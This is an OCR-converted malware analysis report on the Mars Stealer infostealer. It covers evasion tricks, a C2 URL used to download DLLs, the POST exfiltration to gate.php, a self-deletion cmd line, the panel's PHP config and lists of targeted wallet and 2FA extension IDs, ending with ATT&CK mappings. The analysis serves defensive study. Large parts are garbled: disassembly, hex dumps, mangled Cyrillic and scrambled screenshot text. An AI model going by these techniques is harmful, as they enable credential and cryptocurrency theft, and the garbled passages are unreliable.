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Executive Summary

What is Malware?

Malware, short for "Malicious Software", is software developed by
cybercriminals to steal information and damage devices connected to the
Internet. Common examples of malware are traditionally viruses, worms,
trojans, and ransomware. However, stealer pests have also come to the fore
in recent years.

What is Stealer Malware?

Stealer, as a term, completes itself as an information thief. This type of
malware infects the device and then collects data from the device to send the
information to the attacker. Typical targets are credentials used in online
banking services, emails, or FTP accounts.

What is Mars Stealer?

Mars stealer is an improved successor of Oski Stealer, supporting
stealing from current browsers and targeting crypto currencies and 2FA
plugins.

Mars Stealer written in ASM/C using WinApi, weight is 95 kb. Uses
special techniques to hide WinApi calls, encrypts strings, collects information
in the memory, supports secure SSL-connection with C&C, doesn’t use CRT,
STD.Let’s take a look at how it works.

First it uses some evasion techniques. Checks if a Sandbox exists ,
creates Mutex to make sure no second instance is running etc.

Execution Dynamic Linking ®e

Sandbox Check g @y Emulator Check g@gy CIS Check g® g Mutex Creation

If it passes the controls successfully, starts its main operations. First, it
contacts the C2 server and downloads the necessary libraries. It steals the
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data, puts it in a zip file, and then forwards it to the upload. Finally, it destroys
itself.

C2 Connection Download Libraries From C2 g®as Data Stealing Phase Data Exfiltration Self-Deletion

Technical Analysis of Mars Stealer

Evasion Techniques
Dynamic Linking

This technique is used to make static analysis more difficult and to
make it difficult for us to understand how malware behaves. Normally, we
could see which API Calls malware going to make from its Import Address
Table but it is empty. And as you see “85297062256884302049” RC4 key
used for encryption.

C705 6C734100 50304100(mov dword ptr ds:[41736C],mars_stealer|0041736C:&"85297062256884302049", 413050:"85297062256884302049"
C705 FO714100 68304100/mov dword ptr ds:[4171F0],mars_stealer|004171F0:&"LoadLibraryA”, 413068:"LoadLibraryA"

€705 68744100 78304100|mov dword ptr ds:[417468],mars_stealer|00417468:&"GetProcAddress", 413078:"GetProcAddress"”

C705 C0774100 88304100|mov dword ptr ds:[4177C0],mars_stealer|004177C0:&"ExitProcess"”, 413088:"ExitProcess”

C705 F8704100 94304100(mov dword ptr ds:[4170F8],mars_stealer|004170F8:&"advapi32.d11", 413094:"advapi32.dl11"

C705 48764100 A4304100/mov dword ptr ds:[417648],mars_stealer|00417648:&"crypt32.d11", 4130A4:"crypt32.d11"

€705 04774100 B0304100|mov dword ptr ds:[417704] ,mars_stealer|00417704:&"GetTickCount”, 4130B0:"GetTickCount"

C705 34734100 c0304100(mov dword ptr ds:[417334],mars_stealer|00417334:&"STleep”, 4130C0:"Sleep”

C705 AC754100 C8304100(mov dword ptr ds:[4175AC],mars_stealer|004175AC:&"GetUserDefaultLangID", 4130C8:"GetUserDefaultLangID"
C705 A4744100 E0304100(mov dword ptr ds:[4174A4],mars_stealer|004174A4:&"CreateMutexA”, 4130E0:"CreateMutexA”

€705 BC744100 F0304100(mov dword ptr ds:[4174BC],mars_stealer|004174BC:&"GetLastError”, 4130F0:"GetLastError"

€705 1734100 00314100|mov dword ptr ds:[41731C],mars_stealer|0041731C:&"HeapAlloc™, 413100: "HeapAlloc"

C705 DC764100 0C314100(mov dword ptr ds:[4176DC],mars_stealer|004176DC:&"GetProcessHeap"”, 41310C: "GetProcessHeap"

C705 9C774100 1C314100(mov dword ptr ds:[41779C],mars_stealer|0041779C:&"GetComputerNameA", 41311C:"GetComputerNameA"

€705 08744100 30314100(mov dword ptr ds:[417408] ,mars_stealer|00417408:&"virtualProtect”, 413130:"VirtualProtect”

C705 84754100 40314100|mov dword ptr ds:[417584],mars_stealer|00417584:&"GetUserNameA”, 413140:"GetUserNameA"

C705 BB704100 50314100/mov dword ptr ds:[4170B8],mars_stealer|004170B8:&"CryptStringToBinaryA™, 413150:"CryptStringToBinaryA

pusn Loa

FF15 48794100 €all dword

ptr ds:[<&GetProcAddress>]
A3 407A4100 mov dword ptr ds:[417A40],eax eax: "Mz"
8B15 9C774100 mov edx,dword ptr ds:[41779C] edx: "GetUserDefaultLangID", 0041779C:&"GetComputerNameA"
52 push edx edx: "GetUserDefaultLangID"
Al 2C7A4100 mov eax,dword ptr ds:[417A2C] eax:"MZ", 00417A2C:&"MZ"
50 push eax eax: "Mz"
FF15 48794100 call dword ptr ds:[<&GetProcAddress>]
A3 C4794100 mov dword ptr ds:[4179C4],eax eax:"Mz"
ggOD 08744100 movhecx,dword ptr ds:[417408] 00417408:&"virtualProtect”

push ecx

8B15 2C7A4100 mov edx,dword ptr ds:[417A2C] edx: "GetUserDefaultlLangID", 00417A2C:&"MZ"
52 push edx edx: "GetUserDefaultLangID"
FF15 48794100 call dword ptr ds:[<&GetProcAddress>]
A3 B4784100 mov dword ptr ds:[4178B4],eax eax: "Mz"
Al F8704100 mov eax,dword ptr ds:[4170F8] eax:"MZ", 004170F8:&"advapi32.d11"
50 push eax eax: "Mz"
FF15 E4794100 call dword ptr ds:[<&LocadLibrarvAs1
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Anti-Sandbox

Lots of Sandboxes hook and bypass Sleeps, do not let malware to
sleep. GetTickCount() is used to retrieve the number of milliseconds since
bootup. First it calls GetTickCount() then sleeps 15 seconds. It calls
GetTickCount() again and checks if 10 seconds have passed or not. If not
passed , drop execution.

,,,,,,,,,,, I
FF15 507A4100 call dword ptr ds:[<&GetTickCount>]
8945 FC mov dword ptr ss:|febp-4],eax
68 983A0000 push 3498
FF15 74784100 call dword ptr ds:[<&Sleep>]

FF15 507A4100 call dword ptr ds:[<&GetTickCount>]
2B45 FC sub eax,dword ptr ss:[[ebp-4]

8945 F8 mov dword ptr ss:|febp-8],eax

817D F8 10270000 cmp dword ptr ss:|[febp-8],2710

~ 76 09 jbe mars_stealer.405738
B8 01000000 mov eax,l

~ EB 04 jmp mars_stealer.40573A

~ EB 02 jmp mars_stealer.40573A
33C0 XOr eax,eax
8BES mov esp, ebp
5D pop ehp
c3 ret

Normally, GetTickCount() Calls are used by malwares for anti-
debugging purposes. But here we see a different and more interesting use
case.

Anti-Emulator

The third check is an anti-emulation check for Windows Defender
Antivirus. The malware checks if the computer name is “HAL9TH” and
username is “JohnDoe” or not. Those two parameters are being used by the
Windows Defender emulator.

68 A8654100 push mars_stealer.4165A8 4165A8: "HALITH"
E8 F33F0000 call <mars_stealer.for_Computer_Name_Checl
50 push eax
ES 4D4B0000 call mars_stealer.40A2A0
83C4 08 add esp,8
85C0 test eax,eax
« 75 1E jne mars_stealer.405778
68 B0654100 push mars_stealer.4165B0 416580: "JohnDoe"
E8 2C400000 call <mars_stealer.for_Username_Check>
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Anti-CIS

Anti-CIS (Commonwealth of Independent States) is a technique used by
malwares to check if the malware is not infected users from specific countries.

FF15 307A4100 call dword ptr ds:[<&GetUserDefaultLangID>]
QOFB7CO MOVZX eax,ax
8945 F8 mov dword ptr ss:[[ebp-80,eax
817D F8 3F040000 cmp dword ptr ss:[febp-8],43F
« 7F 1D jg mars_stealer.4056AF
817D F8 3F040000 cmp dword ptr ss:[ebp-8],43F
74 3A je mars_stealer.4056D5
817D F8 19040000 cmp dword ptr ss:[[ebp-8],419
A~ 74 1F je mars_stealer.4056C3
A 817D F8 23040000 cmp dword ptr ss:[ebp-8],423
A~ 74 1F je mars_stealer.4056CC
A -~ EB 3F jmp mars_stealer.4056EE
A 817D F8 43040000 cmp dword ptr ss:[ebp-8],443
H ~ 74 26 je mars_stealer.4056DE
f 817D F8 2C080000 cmp dword ptr ss:[[ebp-8],82C
i ~ 74 26 je mars_stealer.4056E7
~ EB 2B jmp mars_stealer.4056EE
C745 FC 00000000 mov dword ptr ss:[[ebp-4[,0
~ EB 22 jmp mars_stealer.4056EE
C745 FC 00000000 mov dword ptr ss:[ebp-47,0
0 -~ EB 19 jmp mars_stealer.4056EE
i C745 FC 00000000 mov dword ptr ss:[[ebp-4[,0
0 ~ EB 10 jmp mars_stealer.4056EE
0 6l C745 FC 00000000 mov dword ptr ss:[[ebp-4[,0
004056 ~ EB 07 imp mars_stealer.4056EE
Language ID Country
0x43F Kazakhstan
0x419 Russia
0x423 Belarus
0x443 Uzbekistan
0x82C Azerbaijan
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Creating Mutex

Creates Mutex to make sure another instance does not work at the

same time.

6A 00
6A 00
FF15 9C7941
FF15 B47941
3D B7000000
~ 75 04
33c0
~ EB 05
B& 01000000
5D
Cc3

C2 Com

push 0O
push 0
00
00
cmp eax,B7

jne mars_stealer.4057A4
XOr eax,eax

jmp mars_stealer.4057A9
mov eax,l

pop ebp

ret

munication

call dword ptr ds:[<&CreateMutexAs]
call dword ptr ds:[<&GetLastError>]

After connecting to the C2 server, malware downloads the necessary

libraries.

8B45 08

50

8B8D E4FBFFFF
51

FF15 30794100
8945 F8

6A 00

68 80000000
6A 02

6A 00

6A 03

68 00000040
8B55 0C

52
FF15 94784100

mov eax,dword ptr ss:[[ebp+8]
push eax

mov ecx,dword ptr ss:|[lebp-41c]
push ecx

mov dword ptr ss:[[ebp-8],eax
push 0

push 80

push 2

push 0

push 3

push 40000000

mov edx,dword ptr ss:|[ebp+C]]

push edx

call dword ptr ds:[<&CreateFileA>]

call dword ptr ds:[<&InternetOpenUrlA>]

[ebp+8]:"http://10.0.2.15/public/sqlite3.d11"
eax: "http://10.0.2.15/public/sqlite3.d11"

[ebp+C]:"C:\\Programbata\\sqlite3.d11"

Library Name

Explanation

freebl3.dll

freebl3.dll is a module belonging to

Network Security Services from Mozilla
Foundation.

mozglue.dll

Mozglue.dll a DLL (Dynamic Link Library)
file, developed by Mozilla, which is
referred to essential system files of the
Windows OS. It usually contains a set of
procedures and driver functions, which
may be applied by Windows.

msvcpl140.dil

msvcpl40. dll is a Microsoft C Dynamic
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Linked Library file responsible for running
certain Windows apps and games —
especially those built on C++,

sqlite3.dll

Sqlite3.dll a DLL (Dynamic Link Library)
file which is referred to essential system
files of the Windows OS. It usually
contains a set of procedures and driver
functions, which may be applied by
Windows.

After the stealing phase ,which we will talk about later, it zips all the
data and uploads it to C2 Server using POST request.

Al D0724100
50

884D 0C

8B15 80754100
8B85 GAEGFFFF

FF15 7C7A4100

1186 456.502502 16.0.

1187 488.582878 18.8.2.

1188 488.582879 18.8.

1189 488.582879 18.8.2.
111e 488.582932 18.8.2.
1111 488.531363 18.8.2.

2=
2
2=
2
2
2

mov eax,dword ptr ds:[4172D0]
push eax

mov ecx,dword ptr ss:[[ebp+Cl
push ecx

mov edx,dword ptr ds:[417580]
push edx

mov eax,dword ptr ss:[febp-199C]
push eax

call dword ptr ds:[<&HttpOpenRequestA>]

004172D0:&"HTTP/1.1"

[ebp+C]:"gate.php"
ecx: "gate.ph

edx: "POST",

edx: "POST"

00417580:&"POST"

[ACK] sSeg=1 Ack=18857@ Win=262656 Len=@
[ACK] sSeg=1 Ack=219238 Win=323968 Len=@

[ACK] sSeqg=1 Ack=227998 Win=341584 Len=@
[ACK] seq=1 Ack=262924 Win=411392 Len=@

10.0.2.15 HTTP 34988 POST /gate.php HTTR/L.1
10.8.2.5 TCP 60 80 - 49733

10.8.2.5 TCP 60 80 - 49733

10.8.2.5 TCP 60 80 - 49733

10.0.2.5 TCP 60 80 - 49733

10.0.2.5 HTTP 367 HTTP/1.1 288 OK

Frame 1186: 34988 bytes on wire (279984 bits), 34988 bytes captured (279984 bits) on interface
Ethernet II, Src: PcsCompu_e6:e5:59 (B8:8@:27:e6:e5:59), Dst: PcsCompu_28:12:b9 (88:80:27:28:12:
Internet Protocol Version 4, Src:
Transmission Control Protocol, Src Port: 49733, Dst Port: 28, Seq: 227998, Ack: 1, Len: 34934

[13 Reassembled TCP Segments (262923 bytes): #1882(229), #1883(13148), #1885(1460), #1887(24820)

Hypertext Transfer Protocol

MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary:

16.8.2.5, Dst: 18.8.2.15

" - ---PHLXTI5XBIEUIEU3"

8800810
eeae01fe
26000200
2eeea218

65 3d

48 44
5@ 48
ed ea
69 74
3b 28
69 BC
53 2e
54 79
6e 2f
43 6f
2d 45

od

22
42
4c
43
69
6e
B3
7a
e
6f
Ge
6e

55

66
53
58
6f
6
61
be
69
65
63
74
63

89

1 80 48

69
2e
54
be
Ge
6d
el
7e
3a
74
65
6

6d
(=]

6c
7a
4a
74
3a
65
6d
22
28
2
Ge
64

al
73

B3
B89
35
B3
28
3d
B3
ad
61
74
74
59

22
78
58
be
66
22
ad
@a
7@
2d
2d
Ge

58 4b 83

b7 fa

74

6f

ed
ad
42
74
6f
66
22
43
7a
73
54
67

81
72

@a
ea
49
2d
72
69
ab
6f
6c
74
72
33
14
@8
79

ed
2d
45
44
6d
BC
de
Ge
B3
72
61
28

@a
2d
55
2]
2d
65
37
74
63
2
Ge
62

B0 a2
88 Ad
2f a3

4b
2d
33
73
64
22
39
65
61
Bl
73
=]
B8
B4
(-3

4e
2d
45
7e
61
3b
48
Ge
74
6d
66
Ge
88
88
72

37
2d
55
6f
74
28
a4
74
69
ed
65
61
e
@8

&6F &
74 78 74 55 54 @d|

e="file"
HDBS.zip
PHLXTISX
Conten
ition: f
; name="
ilename=
S.zip"
Type: ap
nfoctet-
Content-

-Encodin g:

BIEU3EUZ
t-Dispos
orm-data
file"; T
"KN79HDB
Content-
plicatio
stream

Transfer
binar
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Data Stealing Phase

ars Stealer — HaTUBHBIM, HEPE3WAEHTHBIN CTUANED C PYHKLIMOHANOM N0aJepa U rpabepa

Oguumanstoe

Mars Stealer — HaTuBHBINA, Hepe3naeHTHLIA cTvnep ¢ GyHKuMoHanom noaaepa v rpabepa

Ha codT paspabaTuiBance © y4eTom noenanmi Araek, paboTaiowmy N0 KPUITE, No3ToMy & Mars Buw MOETe HaliTh BCE HeOBXOBMMOE 415 PaBoTs!
€ KPUNTOii M He TONLKO.

BHMMAHWE! Mbl HE PABOTAEM MO CHI' M1 BAM HE COBETYEM!

| cero 95kb (ynaxosanHeii & UPX 40kb), ucno. HMKN ANR CKPBTMA SaNPocos K WInAPL wndpyer
MCMONBIyeMble CTPOKY, COBUPAET BECh O B NAMATH, 3 T3K K& NOAASPKUESET SaUMUEHHOE SSL-COBAMHEHME C KOMAHAHLIM CEPEEpOM.
He wcnonesyioren crt, std.

Cnucok noaaepxveaemelx Gpayzepos:

Internet Explorer, Microsoft Edge

Google Chrome, Chromium, Microsoft Edge (Chromium version), Kometa, Amigo, Torch, Orbitum, Comodo Dragon, Nichrome, Maxthon5, Maxthon®,
Epic Privacy Browser, Vivaldi, CocCoc, Uran . QIP Surf, Cent Browser, Elements Browser, TorBro Browser, CryptoTab Browser,

. Opera GX, Opera Neon.
SlimBrowser, PaleMoon, Waterfox, Cyberfox, BlackHawlk, IceCat, KMeleon, Thunderbird.

MpaET MApOAM, KyKkM, CC, SBTOSANOHEHME, NCTOPUIS NOCELEH NI CAITOR, MCTOPUID CKaUMEaHMS aiinos.
ORASPHMBAOTCR BCe NOCAeARME OBHOEReHNA Bpaysepos, sxmouan Chrome vB0.

BaskHbIM (yHKLIMOHANOM, BBIAESIOUMM HAC HA BOHE KOHKYDEHTOE AEMETCR CBOP NAArMHOE 6pay3epoE ¢ yNopom Ha
MNAarMHbBI-KPKWNTC M W ariHel.

Cnucok NoAaep:KuBaembIX KpUNTo-rnaarMHoe:

Tronlink, MetaMack, Binance Chain Wallet, Yorci, Nifty Wallet, Math Wallet, Coinbase Wallet, Guarda, EQUAL Wall Liberty, BitAppWallet, iWallet,
Wombat, MEW CX, Guild Wallet, Saturn Wallet, in Wallet, N i 1l

Polymesh Wallet, ICONex, Nabox Wallet, KHC, Temple, TezB “yano Wallet, Byone, OneKey, Leaf Wallet, DAppPlay, Bif

Extension, Hycon Lite t, ZilPay, Coin98 Wallet.

Cnucok 2FA-naarnHoe:
Authenticator, Authy, EOS Authenticator, GAuth Authenticator, Trezor Password Manager.

Cnucok nogaepxuvBeacm { KPUNTO-KOWENLKOB:
Bitcoin Core u sce npo cash, DashCore, LiteCoin, n 1ak gane), Ethereum, Electrum, Electrum LTC, Exodus, Electron Cash,
MultiDoge, JAXX, Atomi

Co¢T cobrpaeT uMppOBOA OTNEYATOK KOMMBIOTEPA:
— IP u crpany
— PaBouwii nyts ao EXE-daiina Mars 8 npouecce paBoru

— RsmIKOBRIE PACKNRAKN KNAEWATYpEI
— Hoyréyw/lleckron
— Mogens npoueccopa

Mars stealer collects passwords, cookies, autocomplete, site visit
history, file download history from Browsers. Here are supported browsers:

Internet Explorer
Microsoft Edge
Google Chrome
Chromium
Microsoft Edge (Chromium version)
Kometa

Amigo

Torch

Orbitum
Comodo Dragon
Nichrome
Maxthon5
Maxthon6
Sputnik Browser
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Epic Privacy Browser
Vivaldi

CocCoc

Uran Browser
QIP Surf

Cent Browser
Elements Browser
TorBro Browser
CryptoTab Browser
Brave Browser
Opera Stable
Opera GX

Opera Neon.
Firefox
SlimBrowser
PaleMoon
Waterfox
Cyberfox
BlackHawk
IceCat

KMeleon
Thunderbird

Exkract +

] Gt | Location: |3/

ﬁCnnkies 931 bytes Folder
iDownloads 492 bytes Folder
iHistory 1,2kB Folder

Targeted crypto extensions:

Extension Name
TronLink
MetaMask

Binance Chain Wallet
Yoroi
Ronin Wallet

UNK_10.0.2.5_2022-12-23 17 11 02_J5F30HDB.zip

Extension ID
ibnejdfimmkpcnlpebkimnkoeoihofec

nkbihfbeogaeaoehlefnkodbefgpgknn

fhbohimaelbohpjbbldcngcnapndodjp
finbelfdoeiohenkjibnmadjiehjhajb
fnjnmkhhmkbjkkabndcnnogagogbneec




NeoLine
Clover Wallet

Liquality Wallet
Terra Station
Keplr

Nifty Wallet
Math Wallet

Coinbase Wallet
Guarda
BitClip

Steem Keychain
Nash Extension

Hycon Lite Client
ZilPay

Sollet

Auro Wallet

EQUAL Wallet
Jaxx Liberty
BitApp Wallet
Cyano Wallet
Byone
OneKey
LeafWallet
DAppPlay

Polymesh Wallet
ICONex
Nabox Wallet

MARS STEALER MALWARE ANALYSIS

cphhilgmgameodnhkjdmkpanlelnlohao
nhnkbkgjikgcigadomkphalanndcapjk

kpfopkelmapcoipemfendmdcghnegimn
aiifonbfobpmeekipheeijimdpnlpgpp
dmkamcknogkgcdfhhbddcghachkejeap
jbdaocneiiinmjbjlgalhcelgbejmnid
afbcbjpbpfadlkmhmclhkeeodmamcflc

hnfanknocfeofbddgcijnmhnfnkdnaad
hpglfhgfnhbgpjdenjgmdgoeiappafin
ijmpgkjfkbfhoebgogflfebnmejmfloml

IkcjInjfpbikmembachjpdbijejflpcm
onofpnbbkehpmmoabgpcpmigafmmnjhl

bcopgchhojmggmffilplmbdicgaihlkp
kinaejjgbibmhlephnhpmaofohgkpgkd
fhmfendgdocmcbmfikdcogofphimnkno

cnmamaachppnkjgnildpdmkaakejnhae

binieiiffboillknjnepogjhkgnoapac
cjelfplplebdjjenllpjcblmjkfcffine
fihkakfobkmkjojpchpfgcmhfinmnfpi
dkdedlpgdmmkkfjabffeganieamfklkm
nlgbhdfgdhgbiamfdfmbikcdghidoadd
infeboajgfhgbjpjbeppbkgnabfdkdaf
cihmoadaighcejopammfbmddcmdekcje
lodccjjbdhfakaekdiahmedfbieldgik

jojhfeoedkpkglbfimdfabpdfjaoolaf
flpicilemghbmfalicajoolhkkenfel
nknhiehlklippafakaeklbeglecithad




KHC hcflpincpppdclinealmandijcmnkbgn
Temple ookjlbkiijinhpmnijffcofjonbfbgaoc
TezBox mnfifefkajgofkcjkemidiaecocnkjeh
Coin98 Wallet aeachknmefphepccionboohckonoeemg
iWallet kncchdigobghenbbaddojjnnaogfppf]
Wombat amkmjjmmflddogmhpjloimipbofnfjih
MEW CX nlbmnnijcnlegkjjpcficimcfggfefdm
GuildWallet nanjmdknhkinifnkgdcggcfnhdaammmj
Saturn Wallet nkddgncdjgjfcddamfgcmfnlhccnimig
It not just targets crypto extensions , also targets CryptoCurrency Apps.
e Ethereum
e Exodus
e Multidoge
e Atomic
e Jaxx
e Binance
e Coinomi
e Electrum
e Electrum LTC
e Electron Cash
2FA Extensions are also targeted:
Extension Name Extension ID
Authenticator bhghoamapcdpbohphigoooaddinpkbai
Trezor Password Manager imloifkgjagghnncjkhggdhalmenfklk
EOS Authenticator oeljdldpnmdbchonielidgobddffflal
Authy gaedmjdfmmahhbjefcbgaolhhanlaolb

MARS STEALER MALWARE ANALYSIS

GAuth Authenticator ilgcnhelpchnceeipipijaljkblbcobl
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The malware collects a digital fingerprint of the computer:

IP and country

System language

Laptop / Desktop
Processor model
Installed RAM size

Graphics card model
Computer name

system.txt

11IP: 10.0.2.5

2 Country: UNK

3

4 Working Path: C:\Users\IEUser\Desktop\Mars_Stealer.exe
5

6 Local Time: 26/12/2022 12:29:0
7 TimeZone: UTC-8
8

9 Display Language: en-US
+o [

11

12 Is Laptop: Yes

13 Processor:

14 Installed RAM: 4095 MB

150s: Windows 10 Enterprise Evaluation (x64 Bit)
16 Videocard: VirtualBox Graphics Adapter (WDDM)
17 Display Resolution: 1920x1001

18

19 PC name: MSEDGEWIN1®

20 User name: IEUser

21 Domain name: ?

22 MachineIn:
23 quro:

24

25 Installed Software:

26 Visual studio Build Tools 2017 15.9.51
27 FileInsight - File analysis tool

28 Graphviz 6.0.2

29 HashCalc 2.02

30 Nmap 7.70 7.70

31 Npcap ©.99-r2 8.99-r2

32 PDFStreamDumper ©6.9.5xx

33 sysAnalyzer 2.x

34 WinPcap 4.1.3 4.1.0.2980

Keyboard language layouts

Working path to the Mars EXE file during operation
Local time on the PC and time zone

Operating system version system and its bit depth

Save = - o X Extract + UNK_10.0.2.5_2022-12-26 23 2... = - o *
/
N
i(cokies 874 bytes Folder
492 bytes Folder
Bbistory 11kB Folder

P screenshot.jpg 310,0kB JPEG image 26 Aralik 2022, 15:29

3 17 11 02_J5F30HDB.zip

Finally, it takes a screenshot and zips them to make all the data ready

to be sent.
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Extract o1 UNK_10.0.2.5_2022-12-26 23 2...

(it | Location: [/

Y cal Stack source M References Name - %
" [jae mars stealer 403ELT =T - 1Ee ype
1 EB 05 mp mars_stealer.403E1C .
ol | - E9 79FFFFFF {op Mars—stealer.403095 .Cookles 874 bytes Folder
o 68 00040000 ﬁmsh
: m]:an FOFBFFFF p‘l.:;lhc:::dnord ptr ss:febp-410) .Downloads 492 bytes Folder
| E8 23640000 call mars_stealer.40A250 .
g 8B55 F4 mzhrm;d\.om ptr ss:febp -H|story 1,1kB Folder
ol FF15 9C784100 €all dword ptr : [<&CloseHandle>] = =
o 8845 78 moy eax, dword ptrss:febp-5] a2 screenshot.jpg JPEGimage 26 Aralik 2022, 15:29
o push eax
- R Zeraain N dord D RIS system.txt 5,2kB plaintextd... 26 Aralik 2022, 23:29
d 51 ush ecx
G— FF15 28794100 \g.l'l dword pte ds:[<dInternetCloseHandles) |
o 88E5 mov esp, ebp
o 5D pop ebp
°| c3 re’
- cC int3
ol cc int3
| cc int3
ol < int3
Ld <« int3
o cc int3
o cc int3
| <« int3
o cC int3
| < int3
| cc int3
L < int3
of cc int3
P o int
ol
P L G e e e S e s e
text:00403648 mars_stealer. exei$364s #3248
Rowo3  Woumps P struer
T TEeTRTE |
0381505
Oozeams
b3 e
$5520:
303%;

30130;

Tem3
00190330 | = 7
00190528 | " \\Users\\TEUSEr\\ADpDATAY \RORING"
00000104

Self Deletion and Exit

After all the operations the malware deletes itself and exits.

8B15 5C774100/mov edx,dword ptr ds:[41775C] edx: "C: \\\\Windows\\\\Sys tem32\\\\cmd .. exe", 0041775C:&"C:\\\\Windows\\\\System32\\\\cmd.exe"
8955 D4 mov dword ptr ss:|lebp-2CJ, edx [ebprC]:"C:\\\\W'indows{\\\system32\\\\(md.exe”

8D85 BOFDFFFF|lea eax,dword ptr ss:[lebp-250]

8945 D8 mov dword ptr ss:[lebp-28]],eax [ebp728]:'|/c timeout /t 5 & del /f /q \"C:\\Users\\IEUser\\Desktop\\Mars_Stealer.exe\" & exit"
C745 DC 00000(mov dword ptr ss:[ebp-24],0

C745 EO 00000(mov dword ptr ss:[ebp-20],0
C745 E4 00000(mov dword ptr ss:[ebp-1C],0
8D4D C4 lea ecx,dword ptr ss:[lebp-3C]

push ecx
FF15 4C7A4100/cal]l dword ptr ds:[<&ShellExecuteEx

/c timeout /t 5 & del /f /q “C:\\Users\\IEUser\\Desktop\\Mars_Stealer.exe\” & exit”



MARS STEALER MALWARE ANALYSIS

Web Panel

Here are some screenshots of the web-panel:

Dashboard

Analytics
Total log Last week Last 30d Total pass
13 13 13 0

81 ¥ 13

& C] A ]

Chronology Overview

Country Logs

Country
Afghanistan
Mand Islands
Albania
Algeria

American Samoa

‘ ‘ ‘ Q Search

Logs
Menitoring
D P Country Note System Date Password
11/28/2022 - 12/27/2022
Hide empty With erypto with plugins only unique | ‘ | Delete ‘
id Comment Data Marker P Screenshot Actions Date
- 10.0.2.5 : ) [.__] 10h49m 24sago
13 [®] () (o e 9
4 )
T 10.0.2.5 i P 10h 57m 41s ago
12 |[ED‘ ‘1‘ [ gowios 9
P
0 10.0.25 [ (] 11h12m32sago
1 (B] [«0] = ) .
A )
) 10.0.2.5 i ) 11h 19m 13s ago
10 |[ED‘ [0 [ gowios 9

Code

AF

AX

AL

Dz

AsS

Logs
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assets GeolP includes logs dashboard. Ffooter.php grab.php header.php index.php
php
loader.php login.php logs.php marker.php settings. view.php
php

1 H?php

2

3 Sdbname = J//Database name

4 Sdbuser = //Database login

5 Sdbpwd //Database pass

J//Logs folder
//Domain name for loader
f/Panel Tolder
. T9QOC4UAX50uUUVXbHOIMFBKZi6RIEM ' 3

6 SGLOBALS['
7 SGLOBALS[ '«
8 SGLOBALS['
9 SGLOBALS[ 'pa d

Password for login.

13 //Database connect
14 require_once $GLOB.€~LS[ panel
15 R::setup( 'mysqg st

16 session start(),
17

18 ?

—:Sdbname, édl;uéer, Sdbpwd )3

MITRE ATT&CK

TECHNIC ID
Steal Web Session Cookie T1539
Credentials From Password Stores T1555
Unsecured Credentials T1552
Query Registry T1012
Software Discovery T1518
System Information Discovery T1082
Ingress Tool Transfer T1105
Exfiltration Over Alternative Protocol T1048
Virtualization/Sandbox Evasion T1497
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Debugger Evasion

T1622

File Deletion

T1070.004
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